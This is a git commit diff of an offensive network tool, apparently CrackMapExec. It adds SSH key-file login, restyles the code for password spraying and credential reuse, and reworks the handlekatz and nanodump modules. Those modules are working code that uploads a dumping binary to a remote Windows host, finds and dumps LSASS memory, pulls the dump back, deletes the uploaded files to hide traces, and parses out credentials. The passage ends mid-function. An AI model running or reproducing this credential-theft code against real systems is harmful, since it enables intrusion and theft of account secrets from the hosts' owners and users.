Resolve merge conflicts and add ssh keyfile login from marshall
commit
037bece662
60
cme/cli.py
60
cme/cli.py
|
@ -11,7 +11,7 @@ from termcolor import colored
|
|||
|
||||
def gen_cli_args():
|
||||
|
||||
VERSION = '5.4.6'
|
||||
VERSION = "5.4.6"
|
||||
CODENAME = "Bruce Wayne"
|
||||
|
||||
p_loader = ProtocolLoader()
|
||||
|
@ -36,47 +36,47 @@ def gen_cli_args():
|
|||
""", formatter_class=RawTextHelpFormatter)
|
||||
|
||||
parser.add_argument("-t", type=int, dest="threads", default=100, help="set how many concurrent threads to use (default: 100)")
|
||||
parser.add_argument("--timeout", default=None, type=int, help='max timeout in seconds of each thread (default: None)')
|
||||
parser.add_argument("--jitter", metavar='INTERVAL', type=str, help='sets a random delay between each connection (default: None)')
|
||||
parser.add_argument("--no-progress", action='store_true', help='Not displaying progress bar during scan')
|
||||
parser.add_argument("--darrell", action='store_true', help='give Darrell a hand')
|
||||
parser.add_argument("--verbose", action='store_true', help="enable verbose output")
|
||||
parser.add_argument("--debug", action='store_true', help="enable debug level information")
|
||||
parser.add_argument("--version", action='store_true', help="Display CME version")
|
||||
parser.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread (default: None)")
|
||||
parser.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each connection (default: None)")
|
||||
parser.add_argument("--no-progress", action="store_true", help="Not displaying progress bar during scan")
|
||||
parser.add_argument("--darrell", action="store_true", help="give Darrell a hand")
|
||||
parser.add_argument("--verbose", action="store_true", help="enable verbose output")
|
||||
parser.add_argument("--debug", action="store_true", help="enable debug level information")
|
||||
parser.add_argument("--version", action="store_true", help="Display CME version")
|
||||
|
||||
subparsers = parser.add_subparsers(title='protocols', dest='protocol', description='available protocols')
|
||||
subparsers = parser.add_subparsers(title="protocols", dest="protocol", description="available protocols")
|
||||
|
||||
std_parser = argparse.ArgumentParser(add_help=False)
|
||||
std_parser.add_argument("target", nargs='*', type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
|
||||
std_parser.add_argument('-id', metavar="CRED_ID", nargs='+', default=[], type=str, dest='cred_id', help='database credential ID(s) to use for authentication')
|
||||
std_parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='+', default=[], help="username(s) or file(s) containing usernames")
|
||||
std_parser.add_argument("-p", metavar="PASSWORD", dest='password', nargs='+', default=[], help="password(s) or file(s) containing passwords")
|
||||
std_parser.add_argument("-k", "--kerberos", action='store_true', help="Use Kerberos authentication")
|
||||
std_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2')
|
||||
std_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes")
|
||||
std_parser.add_argument("--use-kcache", action='store_true', help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
|
||||
std_parser.add_argument("target", nargs="+", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
|
||||
std_parser.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help='database credential ID(s) to use for authentication')
|
||||
std_parser.add_argument("-u", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
|
||||
std_parser.add_argument("-p", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
|
||||
std_parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
|
||||
std_parser.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2")
|
||||
std_parser.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
|
||||
std_parser.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
|
||||
std_parser.add_argument("--log", metavar="LOG", help="Export result into a custom file")
|
||||
std_parser.add_argument("--aesKey", metavar="AESKEY", nargs='+', help="AES key to use for Kerberos Authentication (128 or 256 bits)")
|
||||
std_parser.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
|
||||
std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
|
||||
|
||||
fail_group = std_parser.add_mutually_exclusive_group()
|
||||
fail_group.add_argument("--gfail-limit", metavar='LIMIT', type=int, help='max number of global failed login attempts')
|
||||
fail_group.add_argument("--ufail-limit", metavar='LIMIT', type=int, help='max number of failed login attempts per username')
|
||||
fail_group.add_argument("--fail-limit", metavar='LIMIT', type=int, help='max number of failed login attempts per host')
|
||||
fail_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
|
||||
fail_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
|
||||
fail_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
|
||||
|
||||
module_parser = argparse.ArgumentParser(add_help=False)
|
||||
mgroup = module_parser.add_mutually_exclusive_group()
|
||||
mgroup.add_argument("-M", "--module", action='append', metavar='MODULE', help='module to use')
|
||||
module_parser.add_argument('-o', metavar='MODULE_OPTION', nargs='+', default=[], dest='module_options', help='module options')
|
||||
module_parser.add_argument('-L', '--list-modules', action='store_true', help='list available modules')
|
||||
module_parser.add_argument('--options', dest='show_module_options', action='store_true', help='display module options')
|
||||
module_parser.add_argument("--server", choices={'http', 'https'}, default='https', help='use the selected server (default: https)')
|
||||
module_parser.add_argument("--server-host", type=str, default='0.0.0.0', metavar='HOST', help='IP to bind the server to (default: 0.0.0.0)')
|
||||
module_parser.add_argument("--server-port", metavar='PORT', type=int, help='start the server on the specified port')
|
||||
module_parser.add_argument("--connectback-host", type=str, metavar='CHOST', help='IP for the remote system to connect back to (default: same as server-host)')
|
||||
mgroup.add_argument("-M", "--module", action="append", metavar="MODULE", help="module to use")
|
||||
module_parser.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
|
||||
module_parser.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
|
||||
module_parser.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
|
||||
module_parser.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server (default: https)")
|
||||
module_parser.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to (default: 0.0.0.0)")
|
||||
module_parser.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
|
||||
module_parser.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to (default: same as server-host)")
|
||||
|
||||
for protocol in protocols.keys():
|
||||
protocol_object = p_loader.load_protocol(protocols[protocol]['path'])
|
||||
protocol_object = p_loader.load_protocol(protocols[protocol]["path"])
|
||||
subparsers = getattr(protocol_object, protocol).proto_args(subparsers, std_parser, module_parser)
|
||||
|
||||
if len(sys.argv) == 1:
|
||||
|
|
|
@ -3,6 +3,7 @@
|
|||
|
||||
import random
|
||||
import socket
|
||||
import sys
|
||||
from os.path import isfile
|
||||
from threading import BoundedSemaphore
|
||||
from functools import wraps
|
||||
|
@ -48,7 +49,6 @@ class connection(object):
|
|||
self.hostname = host
|
||||
self.conn = None
|
||||
self.admin_privs = False
|
||||
self.logger = None
|
||||
self.password = ""
|
||||
self.username = ""
|
||||
self.kerberos = True if self.args.kerberos or self.args.use_kcache else False
|
||||
|
@ -208,6 +208,7 @@ class connection(object):
|
|||
secret = []
|
||||
cred_type = []
|
||||
creds = [] # list of tuples (cred_id, domain, username, secret, cred_type, pillaged_from) coming from the database
|
||||
data = [] # Arbitrary data needed for the login, e.g. ssh_key
|
||||
|
||||
for cred_id in self.args.cred_id:
|
||||
if isinstance(cred_id, str) and cred_id.lower() == 'all':
|
||||
|
@ -226,7 +227,7 @@ class connection(object):
|
|||
secret.append(secret_single)
|
||||
cred_type.append(cred_type_single)
|
||||
|
||||
return domain, username, owned, secret, cred_type
|
||||
return domain, username, owned, secret, cred_type, data
|
||||
|
||||
def parse_credentials(self):
|
||||
"""
|
||||
|
@ -300,9 +301,9 @@ class connection(object):
|
|||
secret.append(aesKey)
|
||||
cred_type.append('aesKey')
|
||||
|
||||
return domain, username, owned, secret, cred_type
|
||||
return domain, username, owned, secret, cred_type, [None] * len(secret)
|
||||
|
||||
def try_credentials(self, domain, username, owned, secret, cred_type):
|
||||
def try_credentials(self, domain, username, owned, secret, cred_type, data=None):
|
||||
"""
|
||||
Try to login using the specified credentials and protocol.
|
||||
Possible login methods are:
|
||||
|
@ -319,8 +320,10 @@ class connection(object):
|
|||
if cred_type == 'plaintext':
|
||||
if self.args.kerberos:
|
||||
return self.kerberos_login(domain, username, secret, '', '', self.kdcHost, False)
|
||||
elif hasattr(self.args, "domain"):
|
||||
elif hasattr(self.args, "domain"): # Some protocolls don't use domain for login
|
||||
return self.plaintext_login(domain, username, secret)
|
||||
elif self.args.protocol == 'ssh':
|
||||
return self.plaintext_login(username, secret, data)
|
||||
else:
|
||||
return self.plaintext_login(username, secret)
|
||||
elif cred_type == 'hash':
|
||||
|
@ -336,29 +339,32 @@ class connection(object):
|
|||
|
||||
:return: True if the login was successful and "--continue-on-success" was not specified, False otherwise.
|
||||
"""
|
||||
# domain[n] always corresponds to username[n]
|
||||
# domain[n] always corresponds to username[n] and owned [n]
|
||||
domain = []
|
||||
username = []
|
||||
owned = [] # Determines whether we have found a valid credential for this user. Default: False
|
||||
# secret[n] always corresponds to cred_type[n]
|
||||
secret = []
|
||||
cred_type = []
|
||||
data = [] # Arbitrary data needed for the login, e.g. ssh_key
|
||||
|
||||
if self.args.cred_id:
|
||||
db_domain, db_username, db_owned, db_secret, db_cred_type = self.query_db_creds()
|
||||
db_domain, db_username, db_owned, db_secret, db_cred_type, db_data = self.query_db_creds()
|
||||
domain.extend(db_domain)
|
||||
username.extend(db_username)
|
||||
owned.extend(db_owned)
|
||||
secret.extend(db_secret)
|
||||
cred_type.extend(db_cred_type)
|
||||
data.extend(db_data)
|
||||
|
||||
if self.args.username:
|
||||
parsed_domain, parsed_username, parsed_owned, parsed_secret, parsed_cred_type = self.parse_credentials()
|
||||
parsed_domain, parsed_username, parsed_owned, parsed_secret, parsed_cred_type, parsed_data = self.parse_credentials()
|
||||
domain.extend(parsed_domain)
|
||||
username.extend(parsed_username)
|
||||
owned.extend(parsed_owned)
|
||||
secret.extend(parsed_secret)
|
||||
cred_type.extend(parsed_cred_type)
|
||||
data.extend(parsed_data)
|
||||
|
||||
if self.args.use_kcache:
|
||||
with sem:
|
||||
|
@ -371,7 +377,7 @@ class connection(object):
|
|||
if not self.args.no_bruteforce:
|
||||
for secr_index, secr in enumerate(secret):
|
||||
for user_index, user in enumerate(username):
|
||||
if self.try_credentials(domain[user_index], user, owned[user_index], secr, cred_type[secr_index]):
|
||||
if self.try_credentials(domain[user_index], user, owned[user_index], secr, cred_type[secr_index], data[secr_index]):
|
||||
owned[user_index] = True
|
||||
if not self.args.continue_on_success:
|
||||
return True
|
||||
|
@ -380,7 +386,7 @@ class connection(object):
|
|||
self.logger.error("Number provided of usernames and passwords/hashes do not match!")
|
||||
return False
|
||||
for user_index, user in enumerate(username):
|
||||
if self.try_credentials(domain[user_index], user, owned[user_index], secret[user_index], cred_type[user_index]) and not self.args.continue_on_success:
|
||||
if self.try_credentials(domain[user_index], user, owned[user_index], secret[user_index], cred_type[user_index], data[user_index]) and not self.args.continue_on_success:
|
||||
owned[user_index] = True
|
||||
if not self.args.continue_on_success:
|
||||
return True
|
||||
|
|
|
@ -97,6 +97,12 @@ def main():
|
|||
except Exception as e:
|
||||
cme_logger.error(f"Error opening le dank meme: {e}")
|
||||
sys.exit(1)
|
||||
|
||||
if args.protocol == "ssh":
|
||||
if args.key_file:
|
||||
if not args.password:
|
||||
cme_logger.fail(f"Password is required, even if a key file is used - if no passphrase for key, use `-p ''`")
|
||||
sys.exit(1)
|
||||
|
||||
if args.use_kcache and not os.environ.get("KRB5CCNAME"):
|
||||
cme_logger.error("KRB5CCNAME environment variable is not set")
|
||||
|
|
|
@ -9,13 +9,15 @@ import base64
|
|||
import re
|
||||
import sys
|
||||
|
||||
from cme.helpers.bloodhound import add_user_bh
|
||||
|
||||
|
||||
class CMEModule:
|
||||
|
||||
name = 'handlekatz'
|
||||
name = "handlekatz"
|
||||
description = "Get lsass dump using handlekatz64 and parse the result with pypykatz"
|
||||
supported_protocols = ['smb']
|
||||
opsec_safe = True # not really
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
|
@ -35,79 +37,92 @@ class CMEModule:
|
|||
self.dir_result = self.handlekatz_path
|
||||
self.useembeded = True
|
||||
|
||||
if 'HANDLEKATZ_PATH' in module_options:
|
||||
self.handlekatz_path = module_options['HANDLEKATZ_PATH']
|
||||
if "HANDLEKATZ_PATH" in module_options:
|
||||
self.handlekatz_path = module_options["HANDLEKATZ_PATH"]
|
||||
self.useembeded = False
|
||||
|
||||
if 'HANDLEKATZ_EXE_NAME' in module_options:
|
||||
self.handlekatz = module_options['HANDLEKATZ_EXE_NAME']
|
||||
self.useembeded = False
|
||||
if "HANDLEKATZ_EXE_NAME" in module_options:
|
||||
self.handlekatz = module_options["HANDLEKATZ_EXE_NAME"]
|
||||
|
||||
if 'TMP_DIR' in module_options:
|
||||
self.tmp_dir = module_options['TMP_DIR']
|
||||
if "TMP_DIR" in module_options:
|
||||
self.tmp_dir = module_options["TMP_DIR"]
|
||||
|
||||
if 'DIR_RESULT' in module_options:
|
||||
self.dir_result = module_options['DIR_RESULT']
|
||||
if "DIR_RESULT" in module_options:
|
||||
self.dir_result = module_options["DIR_RESULT"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if self.useembeded == True:
|
||||
with open(self.handlekatz_path + self.handlekatz, 'wb') as handlekatz:
|
||||
if self.useembeded:
|
||||
with open(self.handlekatz_path + self.handlekatz, "wb") as handlekatz:
|
||||
handlekatz.write(self.handlekatz_embeded)
|
||||
|
||||
context.log.display('Copy {} to {}'.format(self.handlekatz_path + self.handlekatz, self.tmp_dir))
|
||||
with open(self.handlekatz_path + self.handlekatz, 'rb') as handlekatz:
|
||||
context.log.display(f"Copy {self.handlekatz_path + self.handlekatz} to {self.tmp_dir}")
|
||||
with open(self.handlekatz_path + self.handlekatz, "rb") as handlekatz:
|
||||
try:
|
||||
connection.conn.putFile(self.share, self.tmp_share + self.handlekatz, handlekatz.read)
|
||||
context.log.success('Created file {} on the \\\\{}{}'.format(self.handlekatz, self.share, self.tmp_share))
|
||||
context.log.success(
|
||||
f"[OPSEC] Created file {self.handlekatz} on the \\\\{self.share}{self.tmp_share}"
|
||||
)
|
||||
except Exception as e:
|
||||
context.log.fail('Error writing file to share {}: {}'.format(share, e))
|
||||
|
||||
# get pid lsass
|
||||
command = 'tasklist /v /fo csv | findstr /i "lsass"'
|
||||
context.log.display('Getting lsass PID {}'.format(command))
|
||||
context.log.fail(f"Error writing file to share {self.share}: {e}")
|
||||
|
||||
# get LSASS PID via `tasklist`
|
||||
command = "tasklist /v /fo csv | findstr /i \"lsass\""
|
||||
context.log.display(f"Getting lsass PID via command {command}")
|
||||
p = connection.execute(command, True)
|
||||
context.log.debug(f"Command Result: {p}")
|
||||
if len(p) == 1:
|
||||
p = p[0]
|
||||
|
||||
if not p or p == "None":
|
||||
context.log.fail(f"Failed to execute command to get LSASS PID")
|
||||
return
|
||||
# we get a CSV string back from `tasklist`, so we grab the PID from it
|
||||
pid = p.split(',')[1][1:-1]
|
||||
command = self.tmp_dir + self.handlekatz + ' --pid:' + pid + ' --outfile:' + self.tmp_dir + '%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.log'
|
||||
context.log.display('Executing command {}'.format(command))
|
||||
context.log.debug(f"pid: {pid}")
|
||||
|
||||
command = self.tmp_dir + self.handlekatz + " --pid:" + pid + " --outfile:" + self.tmp_dir + "%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.log"
|
||||
context.log.display(f"Executing command {command}")
|
||||
|
||||
p = connection.execute(command, True)
|
||||
context.log.debug(p)
|
||||
dump = False
|
||||
if 'Lsass dump is complete' in p:
|
||||
context.log.success('Process lsass.exe was successfully dumped')
|
||||
context.log.debug(f"Command result: {p}")
|
||||
|
||||
if "Lsass dump is complete" in p:
|
||||
context.log.success("Process lsass.exe was successfully dumped")
|
||||
dump = True
|
||||
else:
|
||||
context.log.fail('Process lsass.exe error un dump, try with verbose')
|
||||
|
||||
context.log.fail("Process lsass.exe error un dump, try with verbose")
|
||||
dump = False
|
||||
|
||||
if dump:
|
||||
regex = r"([A-Za-z0-9-]*\.log)"
|
||||
matches = re.search(regex, str(p), re.MULTILINE)
|
||||
machine_name = ''
|
||||
if matches:
|
||||
machine_name = matches.group()
|
||||
else:
|
||||
if not matches:
|
||||
context.log.display("Error getting the lsass.dmp file name")
|
||||
sys.exit(1)
|
||||
|
||||
context.log.display('Copy {} to host'.format(machine_name))
|
||||
machine_name = matches.group()
|
||||
context.log.display(f"Copy {machine_name} to host")
|
||||
|
||||
with open(self.dir_result + machine_name, 'wb+') as dump_file:
|
||||
try:
|
||||
connection.conn.getFile(self.share, self.tmp_share + machine_name, dump_file.write)
|
||||
context.log.success('Dumpfile of lsass.exe was transferred to {}'.format(self.dir_result + machine_name))
|
||||
context.log.success(
|
||||
f"Dumpfile of lsass.exe was transferred to {self.dir_result + machine_name}"
|
||||
)
|
||||
except Exception as e:
|
||||
context.log.fail('Error while get file: {}'.format(e))
|
||||
context.log.fail(f"Error while get file: {e}")
|
||||
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
|
||||
context.log.success('Deleted handlekatz file on the {} share'.format(self.share))
|
||||
context.log.success(f"Deleted handlekatz file on the {self.share} share")
|
||||
except Exception as e:
|
||||
context.log.fail('Error deleting handlekatz file on share {}: {}'.format(self.share, e))
|
||||
context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")
|
||||
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
|
||||
context.log.success('Deleted lsass.dmp file on the {} share'.format(self.share))
|
||||
context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
|
||||
except Exception as e:
|
||||
context.log.fail('Error deleting lsass.dmp file on share {}: {}'.format(self.share, e))
|
||||
context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on share {self.share}: {e}")
|
||||
|
||||
h_in = open(self.dir_result + machine_name, "rb")
|
||||
h_out = open(self.dir_result + machine_name + ".decode", "wb")
|
||||
|
@ -115,27 +130,33 @@ class CMEModule:
|
|||
bytes_in = bytearray(h_in.read())
|
||||
bytes_in_len = len(bytes_in)
|
||||
|
||||
context.log.display("Deobfuscating, this might take a while")
|
||||
context.log.display(f"Deobfuscating, this might take a while (size: {bytes_in_len} bytes)")
|
||||
|
||||
chunks = [bytes_in[i:i+1000000] for i in range(0, len(bytes_in), 1000000)]
|
||||
chunks = [bytes_in[i:i+1000000] for i in range(0, bytes_in_len, 1000000)]
|
||||
for chunk in chunks:
|
||||
for i in range(0, len(chunk)):
|
||||
chunk[i] ^= 0x41
|
||||
|
||||
h_out.write(bytes(chunk))
|
||||
|
||||
with open(self.dir_result + machine_name + ".decode", 'rb') as dump:
|
||||
with open(self.dir_result + machine_name + ".decode", "rb") as dump:
|
||||
try:
|
||||
credentials = []
|
||||
credz_bh = []
|
||||
try:
|
||||
pypy_parse = pypykatz.parse_minidump_external(dump)
|
||||
except Exception as e:
|
||||
pypy_parse = None
|
||||
context.log.fail(f'Error parsing minidump: {e}')
|
||||
context.log.fail(f"Error parsing minidump: {e}")
|
||||
|
||||
ssps = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'kerberos_creds', 'credman_creds',
|
||||
'tspkg_creds']
|
||||
ssps = [
|
||||
"msv_creds",
|
||||
"wdigest_creds",
|
||||
"ssp_creds",
|
||||
"livessp_creds",
|
||||
"kerberos_creds",
|
||||
"credman_creds",
|
||||
"tspkg_creds"
|
||||
]
|
||||
for luid in pypy_parse.logon_sessions:
|
||||
for ssp in ssps:
|
||||
for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []):
|
||||
|
@ -150,8 +171,8 @@ class CMEModule:
|
|||
context.log.highlight(domain + "\\" + username + ":" + print_pass)
|
||||
if "." not in domain and domain.upper() in connection.domain.upper():
|
||||
domain = connection.domain
|
||||
credz_bh.append({'username': username.upper(), 'domain': domain.upper()})
|
||||
credz_bh.append({"username": username.upper(), "domain": domain.upper()})
|
||||
if len(credz_bh) > 0:
|
||||
add_user_bh(credz_bh, None, context.log, connection.config)
|
||||
except Exception as e:
|
||||
context.log.fail('Error opening dump file', str(e))
|
||||
context.log.fail("Error opening dump file", str(e))
|
||||
|
|
|
@ -17,10 +17,11 @@ class CMEModule:
|
|||
name = "nanodump"
|
||||
description = "Get lsass dump using nanodump and parse the result with pypykatz"
|
||||
supported_protocols = ["smb", "mssql"]
|
||||
opsec_safe = False
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.connection = None
|
||||
self.dir_result = None
|
||||
self.tmp_dir = None
|
||||
self.useembeded = None
|
||||
|
@ -39,7 +40,7 @@ class CMEModule:
|
|||
NANO_EXE_NAME Name of the nano executable (default: nano.exe)
|
||||
DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = NANO_PATH)
|
||||
"""
|
||||
|
||||
self.context = context
|
||||
self.tmp_dir = "C:\\Windows\\Temp\\"
|
||||
self.share = "C$"
|
||||
self.tmp_share = self.tmp_dir.split(":")[1]
|
||||
|
@ -49,12 +50,12 @@ class CMEModule:
|
|||
self.nano_path = ""
|
||||
self.useembeded = True
|
||||
|
||||
if 'NANO_PATH' in module_options:
|
||||
self.nano_path = module_options['NANO_PATH']
|
||||
if "NANO_PATH" in module_options:
|
||||
self.nano_path = module_options["NANO_PATH"]
|
||||
self.useembeded = False
|
||||
else:
|
||||
if sys.platform == "win32":
|
||||
appdata_path = os.getenv('APPDATA')
|
||||
appdata_path = os.getenv("APPDATA")
|
||||
if not os.path.exists(appdata_path + "\CME"):
|
||||
os.mkdir(appdata_path + "\CME")
|
||||
self.nano_path = appdata_path + "\CME\\"
|
||||
|
@ -65,111 +66,133 @@ class CMEModule:
|
|||
|
||||
self.dir_result = self.nano_path
|
||||
|
||||
if 'NANO_EXE_NAME' in module_options:
|
||||
self.nano = module_options['NANO_EXE_NAME']
|
||||
if "NANO_EXE_NAME" in module_options:
|
||||
self.nano = module_options["NANO_EXE_NAME"]
|
||||
self.useembeded = False
|
||||
|
||||
if 'TMP_DIR' in module_options:
|
||||
self.tmp_dir = module_options['TMP_DIR']
|
||||
if "TMP_DIR" in module_options:
|
||||
self.tmp_dir = module_options["TMP_DIR"]
|
||||
|
||||
if 'DIR_RESULT' in module_options:
|
||||
self.dir_result = module_options['DIR_RESULT']
|
||||
if "DIR_RESULT" in module_options:
|
||||
self.dir_result = module_options["DIR_RESULT"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.connection = connection
|
||||
self.context = context
|
||||
if self.useembeded:
|
||||
with open(self.nano_path + self.nano, 'wb') as nano:
|
||||
if connection.os_arch == 32 and context.protocol == 'smb':
|
||||
context.log.display("32-bit Windows detected.")
|
||||
with open(self.nano_path + self.nano, "wb") as nano:
|
||||
if self.connection.os_arch == 32 and self.context.protocol == "smb":
|
||||
self.context.log.display("32-bit Windows detected.")
|
||||
nano.write(self.nano_embedded32)
|
||||
elif connection.os_arch == 64 and context.protocol == 'smb':
|
||||
context.log.display("64-bit Windows detected.")
|
||||
elif self.connection.os_arch == 64 and self.context.protocol == "smb":
|
||||
self.context.log.display("64-bit Windows detected.")
|
||||
nano.write(self.nano_embedded64)
|
||||
elif context.protocol == 'mssql':
|
||||
elif self.context.protocol == "mssql":
|
||||
nano.write(self.nano_embedded64)
|
||||
else:
|
||||
context.log.fail('Unsupported Windows architecture')
|
||||
self.context.log.fail("Unsupported Windows architecture")
|
||||
sys.exit(1)
|
||||
|
||||
if context.protocol == 'smb':
|
||||
with open(self.nano_path + self.nano, 'rb') as nano:
|
||||
if self.context.protocol == "smb":
|
||||
with open(self.nano_path + self.nano, "rb") as nano:
|
||||
try:
|
||||
connection.conn.putFile(self.share, self.tmp_share + self.nano, nano.read)
|
||||
context.log.success(f"Created file {self.nano} on the \\\\{self.share}{self.tmp_share}")
|
||||
self.connection.conn.putFile(self.share, self.tmp_share + self.nano, nano.read)
|
||||
self.context.log.success(f"Created file {self.nano} on the \\\\{self.share}{self.tmp_share}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error writing file to share {self.share}: {e}")
|
||||
self.context.log.fail(f"Error writing file to share {self.share}: {e}")
|
||||
else:
|
||||
with open(self.nano_path + self.nano, 'rb') as nano:
|
||||
with open(self.nano_path + self.nano, "rb") as nano:
|
||||
try:
|
||||
context.log.display(f"Copy {self.nano} to {self.tmp_dir}")
|
||||
exec_method = MSSQLEXEC(connection.conn)
|
||||
self.context.log.display(f"Copy {self.nano} to {self.tmp_dir}")
|
||||
exec_method = MSSQLEXEC(self.connection.conn)
|
||||
exec_method.put_file(nano.read(), self.tmp_dir + self.nano)
|
||||
if exec_method.file_exists(self.tmp_dir + self.nano):
|
||||
context.log.success(f"Created file {self.nano} on the remote machine {self.tmp_dir}")
|
||||
self.context.log.success(f"Created file {self.nano} on the remote machine {self.tmp_dir}")
|
||||
else:
|
||||
context.log.fail("File does not exist on the remote system... error during upload")
|
||||
self.context.log.fail("File does not exist on the remote system... error during upload")
|
||||
sys.exit(1)
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error writing file to remote machine directory {self.tmp_dir}: {e}")
|
||||
|
||||
# get pid lsass
|
||||
command = 'tasklist /v /fo csv | findstr /i "lsass"'
|
||||
context.log.display(f"Getting lsass PID {command}")
|
||||
p = connection.execute(command, True)
|
||||
pid = p.split(',')[1][1:-1]
|
||||
timestamp = datetime.today().strftime('%Y%m%d_%H%M')
|
||||
self.context.log.fail(f"Error writing file to remote machine directory {self.tmp_dir}: {e}")
|
||||
|
||||
# apparently SMB exec methods treat the output parameter differently than MSSQL (we use it to display())
|
||||
# if we don't do this, then SMB doesn't actually return the results of commands, so it appears that the
|
||||
# execution fails, which it doesn't
|
||||
display_output = True if self.context.protocol == "smb" else False
|
||||
self.context.log.debug(f"Display Output: {display_output}")
|
||||
# get LSASS PID via `tasklist`
|
||||
command = "tasklist /v /fo csv | findstr /i \"lsass\""
|
||||
self.context.log.display(f"Getting LSASS PID via command {command}")
|
||||
p = self.connection.execute(command, display_output)
|
||||
self.context.log.debug(f"tasklist Command Result: {p}")
|
||||
if len(p) == 1:
|
||||
p = p[0]
|
||||
|
||||
if not p or p == "None":
|
||||
self.context.log.fail(f"Failed to execute command to get LSASS PID")
|
||||
return
|
||||
|
||||
pid = p.split(",")[1][1:-1]
|
||||
self.context.log.debug(f"pid: {pid}")
|
||||
timestamp = datetime.today().strftime("%Y%m%d_%H%M")
|
||||
nano_log_name = f"{timestamp}.log"
|
||||
command = f"{self.tmp_dir}{self.nano} --pid {pid} --write {self.tmp_dir}{nano_log_name}"
|
||||
context.log.display(f"Executing command {command}")
|
||||
p = connection.execute(command, True)
|
||||
context.log.debug(p)
|
||||
dump = False
|
||||
if 'Done' in p:
|
||||
context.log.success('Process lsass.exe was successfully dumped')
|
||||
self.context.log.display(f"Executing command {command}")
|
||||
|
||||
p = self.connection.execute(command, display_output)
|
||||
self.context.log.debug(f"NanoDump Command Result: {p}")
|
||||
|
||||
if not p or p == "None":
|
||||
self.context.log.fail(f"Failed to execute command to execute NanoDump")
|
||||
self.delete_nanodump_binary()
|
||||
return
|
||||
|
||||
# results returned are different between SMB and MSSQL
|
||||
full_results = " ".join(p) if self.context.protocol == "mssql" else p
|
||||
|
||||
if "Done" in full_results:
|
||||
self.context.log.success("Process lsass.exe was successfully dumped")
|
||||
dump = True
|
||||
else:
|
||||
context.log.fail('Process lsass.exe error on dump, try with verbose')
|
||||
|
||||
self.context.log.fail("Process lsass.exe error on dump, try with verbose")
|
||||
dump = False
|
||||
|
||||
if dump:
|
||||
context.log.display(f"Copying {nano_log_name} to host")
|
||||
filename = f"{self.dir_result}{connection.hostname}_{connection.os_arch}_{connection.domain}.log"
|
||||
if context.protocol == 'smb':
|
||||
with open(filename, 'wb+') as dump_file:
|
||||
self.context.log.display(f"Copying {nano_log_name} to host")
|
||||
filename = f"{self.dir_result}{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log"
|
||||
if self.context.protocol == "smb":
|
||||
with open(filename, "wb+") as dump_file:
|
||||
try:
|
||||
connection.conn.getFile(self.share, self.tmp_share + nano_log_name, dump_file.write)
|
||||
context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
|
||||
self.connection.conn.getFile(self.share, self.tmp_share + nano_log_name, dump_file.write)
|
||||
self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error while getting file: {e}")
|
||||
self.context.log.fail(f"Error while getting file: {e}")
|
||||
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, self.tmp_share + self.nano)
|
||||
context.log.success(f"Deleted nano file on the {self.share} share")
|
||||
self.connection.conn.deleteFile(self.share, self.tmp_share + self.nano)
|
||||
self.context.log.success(f"Deleted nano file on the {self.share} share")
|
||||
except Exception as e:
|
||||
